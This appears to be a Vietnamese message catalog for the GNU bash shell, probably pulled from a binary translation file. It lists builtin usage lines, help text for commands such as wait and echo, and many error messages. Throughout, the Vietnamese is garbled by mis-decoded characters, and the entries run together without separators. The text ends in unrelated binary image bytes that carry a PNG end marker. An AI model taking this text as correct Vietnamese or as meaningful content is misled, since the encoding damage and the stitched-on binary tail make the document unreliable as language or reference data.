	%s [tùy chá»n GNU dài] [tùy chá»n] tập-tin-văn-lệnh ...
Dùng « %s » để rá»i trình bao.
Dùng lệnh « bashbug » để thông báo lỗi.
Tín hiệu ngưá»i dùng 1Tín hiệu ngưá»i dùng 2Äợi công việc chạy xong, sau đó trả lại trạng thái thoát.

	Äợi tiến trình được ID nhận diện, mà có thể là má»™t mã số tiến trình
		hay một đặc tả công việc, sau đó trả lại trạng thái chấm dứt của nó.
		Không đưa ra ID thì đợi tất cả các tiến trình con đang chạy,
		và trạng thái trả lại là số không.
		Nếu ID là một đặc tả công việc thì đợi tất cả các tiến trình
		vẫn nằm trong ống dẫn của công việc đó.

	Tráng thái thoát:
	Trả lại trạng thái của ID; không thành công nếu ID sai
		hoặc đưa ra tùy chá»n sai.Äợi tiến trình chạy xong, sau đó thông báo trạng thái thoát cá»§a nó.

	Äợi tiến trình đã ghi rõ,
	sau đó thông báo trạng thái chấm dứt của nó.
	Nếu không đưa ra PID (mã số tiến trình)
	thì đợi tất cả các tiến trình con đang chạy,
	và mã trả lại là số không.
	PID phải là một mã số tiến trình.

	Trạng thái thoát:
	Trả lại trạng thái của ID (mã số);
	không thành công nếu ID sai,
	hoặc nếu đưa ra tùy chá»n sai.Cá»­a sổ bị thay đổiGhi các đối số vào đầu ra tiêu chuẩn

	Hiển thị các Äá»I_Sá» trên đầu ra tiêu chuẩn vá»›i má»™t dòng má»›i theo sau.

	Tùy chá»n:
		-n	đừng phụ thêm một dòng mới

	Trạng thái thoát:
	Trả lại thành công nếu không gặp lỗi ghi.Ghi các đối số vào đầu ra tiêu chuẩn.

	Hiển thị các Äá»I_Sá» trên đầu ra tiêu chuẩn,
		với một ký tự dòng mới theo sau.

	Tùy chá»n:
		-n	đừng phụ thêm ký tự dòng mới
		-e	bật Ä‘á»c ký tá»± thoát kiểu gạch chéo ngược mà theo sau
		-E	thu hồi dứt khoát Ä‘á»c ký tá»± thoát kiểu gạch chéo ngược

	« echo » Ä‘á»c những ký tá»± thoát này kiểu gạch chéo ngược:
		\a	chuông báo
		\b	xoá lùi
		\c	thu hồi kết xuất thêm nữa
		\e	ký tự thoát
		\f	nạp giấy
		\n	dòng mới
		\r	xuống dòng
		\0nnn	ký tự có mã ASCII NNN (1-3 chữ số bát phân)
		\xHH	ký tự 8-bit có giá trị HH (1-2 chữ số thập lục)

	Trạng thái thoát:
	Trả lại thành công nếu không gặp lá»—i ghi.		\t	khoảng tab theo chiá»u ngang
		\v	khoảng tab theo chiá»u dá»c
		\\	gạch chéo ngượcBạn có thư trong $_Bạn có thư má»›i trong $_[ đối_số ... ][[ biểu_thức ]]« %c »: câu lệnh sai« %c »: ký tá»± định dạng không hợp lệ« %c »: ký tá»± chế độ tượng trưng không hợp lệ« %c »: toán từ chế độ tượng trưng không hợp lệ« %s »: không thể há»§y tổ hợp« %s »: tên sÆ¡ đồ phím không hợp lệ« %s »: thiếu ký tá»± định dạng« %s »: không phải đặc tả hợp lệ cho PID hoặc công việc« %s »: không phải đồ nhận diện hợp lệ« %s »: tên hàm không rõđợi dấu ngoặc đóng « ) »đợi dấu ngoặc đóng « ) », còn tìm %sđợi dấu hai chấm « : » cho biểu thức Ä‘iá»u kiệnadd_process: pid %5ld (%s) được đánh dấu vẫn hoạt độngadd_process: tiến trình %5ld (%s) trong the_pipelinealias [-p] [tên[=giá-trị] ... ]all_local_variables: không có ngữ cảnh hàm ở phạm vi hiện thá»iđối sốmong đợi đối sốcần thiết há»— trợ biến mảngthá»­ gán cho đồ không phải biếnsai mảng in thấpkiểu lệnh saibá»™ kết nối saisai nhảysai thay thế: không có « ` » đóng trong %ssai thay thế: không có « %s » đóng trong %sbash_execute_unix_command: không tìm thấy sÆ¡ đồ phím cho câu lệnhbg [đặc_tả_công_việc ...]bind [-lpvsPVS] [-m sÆ¡_đồ_phím] [-f tên_tập_tin] [-q tên] [-u tên] [-r dãy_phím] [-x dãy_phím:lệnh_trình_bao] [dãy_phím:chức_năng-readline hay lệnh-readline]break [n]lá»—i (bug): hiệu bài ấn định biểu thức saibuiltin [shell-builtin [arg ...]]caller [b_thức]chỉ có thể « return » (trở vá») từ má»™t hàm hoặc văn lệnh được gá»i từ nguồnchỉ có thể được dùng trong má»™t hàmkhông thể cấp phát bá»™ mô tả tập tin má»› cho dữ liệu nhập bash từ fd %dkhông thể tạo tập tin tạm thá»i cho tài liệu này: %skhông thể nhân đôi fd %d tá»›i fd %dkhông thể nhân đôi ống dẫn đặt tên %s thành fd %dkhông tìm thấy %s trong đối tượng dùng chung %s: %skhông thể tạo tiến trình con để thay thế lệnhkhông thể tạo tiến trình con để thay thế tiến trìnhkhông thể tạo ống dẫn để thay thế lệnhkhông thể tạo ống dẫn để thay thế tiến trìnhkhông thể mở ống dẫn đặt tên %s để Ä‘á»ckhông thể mở ống dẫn đặt tên %s để ghikhông thể mở đối tượng dùng chung %s: %skhông thể chuyển hướng đầu vào tiêu chuẩn từ « /dev/null »: %skhông thể đặt lại chế độ nodelay (không hoãn) cho fd %dkhông thể đồng thá»i đặt và há»§y đặt các tùy chá»n trình baokhông thể đặt nhóm tiến trình cuối cùng (%d)không thể há»§y đặt đồng thá»i má»™t hàm VÀ má»™t biếnkhông thể ngưngkhông thể ngưng trình bao đăng nhậpkhông thể dùng « -f » để tạo hàmchỉ có thể dùng má»™t cá»§a những tùy chá»n « -a », « -n », « -r », « -w »case TỪ in [MẪU [| MẪU]...) các_CÂU_LỆNH ;;]... esaccd [-L|-P] [tmục]setpgid tiến trình con (%ld thành %ld)command [-pVv] command [arg ...]command_substitute: không thể nhân đôi ống dẫn thành fd 1compgen [-abcdefgjksuv] [-o tùy_chá»n]  [-A hành_động] [-G mẫu_glob] [-W danh_sách_từ]  [-F hàm] [-C lệnh] [-X mẫu_lá»c] [-P tiá»n_tố] [-S hậu_tố] [từ]completion: không tìm thấy hàm « %s »đợi toán tá»­ nhị phân Ä‘iá»u kiệntiếp tục [n]coproc [TÊN] command [định vị lại]không tìm thấy « /tmp », hãy tạo.cprintf: « %c »: ký tá»± định dạng không hợp lệhiện thá»ideclare [-aAfFilrtux] [-p] [tên[=giá_trị] ...]Ä‘ang xoá công việc bị dừng chạy %d vá»›i nhóm tiến trình %lddescribe_pid: %ld: không có PID (mã số tiến trình) như vậyđống thư mục vẫn trốngchỉ mục đống thư mụcdirs [-clpv] [+N] [-N]disown [-h] [-ar] [đặc_tả_công_việc ...]chia cho khôngkhông có sẵn chức năng nạp độngecho [-n] [đối_số ...]echo [-neE] [đối_số ...]%s: tên biến mảng vẫn trốngenable [-a] [-dnps] [-f tên_tập_tin] [tên ...]gặp lá»—i khi lấy các thuá»™c tính vá» thiết bị cuối: %sgặp lá»—i khi nhập lá»i xác định hàm cho « %s »gặp lá»—i khi đặt các thuá»™c tính vá» thiết bị cuối: %seval [đối_số ...]exec [-cl] [-a tên] [lệnh [đối_số ...]] [chuyển_hướng ...]exit [n]đợi dấu đóng ngoặc « ) »số mÅ© nhá» hÆ¡n 0export [-fn] [tên[=giá_trị] ...]
	hay
export -pđợi biểu thứcvượt quá giới hạn mức độ đệ quy của biểu thứcsaifc [-e tên-e] [-lnr] [đầu] [cuối]
	hay
fc -s [mẫu=lập_lại] [lệnh]fg [đặc_tả_công_việc]bá»™ mô tả tập tin ở ngoại phạm vicần thiết đối số tên tập tinfor (( exp1; exp2; exp3 )); do các_CÂU_LỆNH; donefor TÊN [in CÃC-TỪ ... ;] do các_CÂU_LỆNH; donetiến trình con đã tạo (PID %d) xuất hiện trong công việc Ä‘ang chạy %dfree: đã được gá»i vá»›i đối số khối đã giải phá»ngfree: đã được gá»i vá»›i đối số khối chưa cấp phátfree: kích cỡ Ä‘oạn đầu và cuối không trùngfree: phát hiện sá»± tràn ngược; mh_nbytes ở ngoại phạm vichức_năng tên { các_CÂU_LỆNH ; }
	hay
tên () { các_CÂU_LỆNH ; }getcwd: không thể truy cập thư mục cấp trêngetopts chuá»—i_tùy_chá»n tên [đối_số]hash [-lr] [-p đưá»ng_dẫn] [-dt] [tên ...]chức năng tạo ký hiệu lá»™n xá»™n bị tắttài liệu này ở dòng %d định giá»›i bằng kết thúc tập tin (mong đợi « %s »)history [-c] [-d hiệu] [n]
	hay
history -anrw [tên_tập_tin]
	hay
history -ps đối_số [đối_số...]vị trí lịch sửđặc tả lịch sá»­gá»i nhá»›	lệnh
đợi đồ nhận diện đằng sau tăng/giảm dần sẵnif các_CÂU_LỆNH; then các_CÂU_LỆNH; [ elif các_CÂU_LỆNH; then các_CÂU_LỆNH; ]... [ else các_CÂU_LỆNH; ] fiinitialize_job_control: getpgrp bị lá»—iinitialize_job_control: ká»· luật dònginitialize_job_control: setpgidcÆ¡ số (số há»c) không hợp lệcÆ¡ số không hợp lệsai ký tá»± %d trong chuá»—i exportstr cho %ssố thập lục không hợp lệsố không hợp lệsố bát phân không hợp lệsố thứ tá»± tín hiệu không hợp lệcông việc %d đã khởi chạy mà không có Ä‘iá»u khiển công việcđặc_tả_công_việc [&]jobs [-lnprs] [đặc_tả_công_việc ...]
	hoặc
jobs -x lệnh [các_đối_số]kill [-s đặc_tả_tín_hiệu | -n số_tín_hiệu | -đặc_tả_tín_hiệu] pid | đặc_tả_công_việc ...
	hay
kill -l [đặc_tả_tín_hiệu]câu lệnh cuối cùng: %s
let đối_số [đối_số ...]giá»›i hạndòng %d:chưa bật sá»­a đổi dònglocal [tùy_chá»n] tên[=giá_trị] ...đăng xuất
đăng xuất [n]đếm vòngmake_here_document: kiểu chỉ dẫn sai %dmake_local_variable: không có ngữ cảnh hàm ở phạm vi hiện thá»imake_redirection: chỉ dẫn chuyển hướng « %d » ở ngoại phạm vimalloc (cấp phát bá»™ nhá»›): khối bá»™ nhá»› dành riêng trên danh sách các khối còn rảnh bị ghi vàomalloc (cấp phát bá»™ nhá»›): lá»—i khẳng định: %s
mapfile [-n đếm] [-O gốc] [-s đếm] [-t] [-u fd] [-C gá»i_ngược] [-c lượng] [mảng]chuyển tiến trình sang CPU khácthiếu dấu ngoặc đóng « ) »thiếu dấu ngoặc vụ đóng « ] »thiếu chữ số thập phân cho \xkhông há»— trợ thao tác mạngkhông có dấu bằng « = » trong chuá»—i exportstr cho %sthiếu « %c » đóng trong %skhông tìm thấy lệnhkhông có chá»§ đỠtrợ giúp tương ứng vá»›i « %s ». Hãy thá»­ câu lệnh:
 • help help
 • man -k %s
 • info %skhông có Ä‘iá»u khiển công việckhông có Ä‘iá»u khiển công việc trong trình bao nàykhông khá»›p: %skhông có thư mục kháckhông cho phép dùng tùy chá»n thêm vá»›i « -x »hiện thá»i không thá»±c thi chức năng Ä‘iá»n nốtkhông phải trình bao đăng nhập: hãy dùng lệnh « exit » (thoát)số bát phânchỉ có nghÄ©a trong vòng lặp:
 • for	trong
 • while	trong khi
 • until	đến khilá»—i ống dẫnpop_scope: đầu cá»§a shell_variables (các biến trình bao) không phải là phạm vi môi trưá»ng tạm thá»ipop_var_context: đầu cá»§a shell_variables (các biến trình bao) không phải là ngữ cảnh hàmpop_var_context: không có ngữ cảnh global_variables (các biến toàn cục)popd [-n] [+N | -N]sắp bị cúp Ä‘iện đột ngá»™tprint_command: bá»™ kết nối sai « %d »printf [-v biến] định_dạng [đối_số]progcomp_insert: %s: NULL COMPSPEClá»—i lập trìnhpushd [-n] [+N | -N | tmục]pwd [-LP]lá»—i Ä‘á»c: %d: %sreadarray [-n đếm] [-O gốc] [-s đếm] [-t] [-u fd] [-C gá»i_ngược] [-c lượng] [mảng]readonly [-af] [tên[=giá_trị] ...]
	hay
readonly -prealloc: đã được gá»i vá»›i đối số khối chưa cấp phátrealloc: kích cỡ Ä‘oạn đầu và cuối không trùngrealloc: phát hiện sá»± tràn ngược; mh_nbytes ở ngoại phạm vitrán ngược đống đệ quygặp lá»—i chuyển hướng nên không thể nhân đôi fdregister_alloc: %p đã có trong bảng như được cấp phát ?
register_alloc: bảng cấp phát đầy với FIND_ALLOC?
register_free: %p đã có trong bảng như còn rảnh ?
bị hạn chếreturn [n]run_pending_traps: giá trị sai trong danh sách trap_list[%d]: %prun_pending_traps: bá»™ xá»­ lý tín hiệu là SIG_DFL, Ä‘ang gá»­i lại %d (%s) cho mìnhsave_bash_input: đã có bá»™ đệm cho fd má»›i %dselect TÊN [in CÃC-TỪ ... ;] do các_CÂU_LỆNH; doneset [--abefhkmnptuvxBCHP] [-o tùy_chá»n] [đối_số ...]cấp trình bao (%d) quá cao nên đặt lại thành 1shift [n]đếm dá»ishopt [-pqsu] [-o] [tùy_chá»n ...]sigprocmask: %d: thao tác không hợp lệnguồn tên_tập_tin [đối_số ...]start_pipeline: pgrp pipengưng [-f]lá»—i cú phápgặp lá»—i cú pháp trong biểu thức Ä‘iá»u kiệngặp lá»—i cú pháp trong biểu thức Ä‘iá»u kiện: hiệu bài bất thưá»ng « %s »lá»—i cú pháp trong biểu thứcgặp lá»—i cú pháp gần « %s »gặp lá»—i cú pháp ở gần hiệu bài bất thưá»ng « %s »lá»—i cú pháp: `((%s))'lá»—i cú pháp: dấu chấm phẩy « ; » bất thưá»nglá»—i cú pháp: cần thiết biểu thức số há»clá»—i cú pháp: toán tá»­ số há»c không hợp lệlá»—i cú pháp: đợi toán hạnglá»—i cú pháp: kết thúc tập tin bất thưá»nghệ thống sắp sụp đổtest [b_thức]thá»i hạn [-p] ống dẫnlầnquá nhiá»u đối sốtrap [-lp] [[đối_số] đặc_tả_tín_hiệu ...]trap_handler: tín hiệu sai %dđúngtype [-afptP] tên [tên ...]typeset [-aAfFilrtux] [-p] tên[=giá_trị] ...ulimit [-SHacdefilmnpqrstuvx] [giá»›i_hạn]umask [-p] [-S] [chế_độ]unalias [-a] tên [tên ...]gặp kết thúc tập tin bất thưá»ng trong khi tìm « ]] »gặp kết thúc tập tin bất thưá»ng trong khi tìm « %c » tương ứnggặp kết thúc tập tin bất thưá»ng trong khi tìm dấu ngoặc đóng « ) » tương ứngđối số bất thưá»ng « %s » tá»›i toán tá»­ nhị phân Ä‘iá»u kiệnđối số bất thưá»ng « %s » tá»›i toán tá»­ nguyên phân Ä‘iá»u kiệnđối số bất thưá»ng tá»›i toán tá»­ nhị phân Ä‘iá»u kiệnđối số bất thưá»ng tá»›i toán tá»­ nguyên phân Ä‘iá»u kiệngặp hiệu bài bất thưá»ng « %d » trong câu lệnh Ä‘iá»u kiệngặp hiệu bài bất thưá»ng « %c » trong câu lệnh Ä‘iá»u kiệngặp hiệu bài bất thưá»ng « %s » trong câu lệnh Ä‘iá»u kiệnhiệu bài bất thưá»ng « %s » còn đợi toán tá»­ nhị phân Ä‘iá»u kiệngặp hiệu bài bất thưá»ng « %s », còn mong đợi dấu ngoặc đóng « ) »không rõlá»—i lệnh không rõunset [-f] [-v] [tên ...]until các_CÂU_LỆNH; do các_CÂU_LỆNH; donecÆ¡ số có giá trị quá lá»›nbiến — tên và nghÄ©a cá»§a má»™t số biến trình baođợi [id]đợi [pid]wait: pid %ld không phải là tiến trình con cá»§a trình bao nàywait_for: Không có mục ghi vá» tiến trình %ldwait_for_job: công việc %d bị dừng chạycảnh báo :cảnh báo : %s: %scảnh báo: tùy chá»n « -C » có lẽ không hoạt động như mong đợicảnh báo: tùy chá»n « -F » có lẽ không hoạt động như mong đợiwhile các_CÂU_LỆNH; do các_CÂU_LỆNH; donelá»—i ghi: %s{ các_CÂU_LỆNH ; }
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚